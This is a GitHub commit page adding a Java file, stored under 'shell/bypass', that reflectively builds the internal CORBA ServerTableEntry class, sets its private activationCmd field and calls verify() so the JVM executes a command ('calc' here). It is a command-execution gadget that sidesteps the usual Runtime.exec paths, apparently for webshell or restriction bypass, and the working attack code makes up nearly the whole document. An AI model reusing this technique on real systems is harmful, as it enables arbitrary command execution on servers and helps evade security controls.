Skip to content

Commit 385140c

Browse files
authored
Create servertableentry.java
1 parent 951e024 commit 385140c

1 file changed

Lines changed: 28 additions & 0 deletions

File tree

shell/bypass/servertableentry.java

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package
2+
3+
import com.sun.corba.se.impl.logging.ActivationSystemException;
4+
import com.sun.corba.se.spi.activation.RepositoryPackage.ServerDef;
5+
import java.lang.reflect.Constructor;
6+
import java.lang.reflect.Field;
7+
import java.lang.reflect.Method;
8+
import java.util.logging.Logger;
9+
10+
public class servertableentry {
11+
public static void main(String[] args) throws Exception{
12+
Class C = Class.forName("com.sun.corba.se.impl.activation.ServerTableEntry");
13+
Constructor declaredConstructor = C.getDeclaredConstructor(ActivationSystemException.class, int.class, ServerDef.class, int.class ,String.class , boolean.class, boolean.class );
14+
declaredConstructor.setAccessible(true);
15+
Class l = Class.forName("java.util.logging.Logger");
16+
Constructor declaredConstructor1 = l.getDeclaredConstructor(String.class);
17+
declaredConstructor1.setAccessible(true);
18+
Logger o1 = (Logger)declaredConstructor1.newInstance("Firebasky");
19+
ActivationSystemException activationSystemException = new ActivationSystemException(o1);
20+
ServerDef serverDef = new ServerDef(null,null,"C:\\",null,null);
21+
Object o = declaredConstructor.newInstance(activationSystemException, 0, serverDef, 0, "", false, false);
22+
Field activationCmd = C.getDeclaredField("activationCmd");
23+
activationCmd.setAccessible(true);
24+
activationCmd.set(o,"calc");
25+
Method verify = C.getMethod("verify");
26+
verify.invoke(o);
27+
}
28+
}

0 commit comments

Comments
 (0)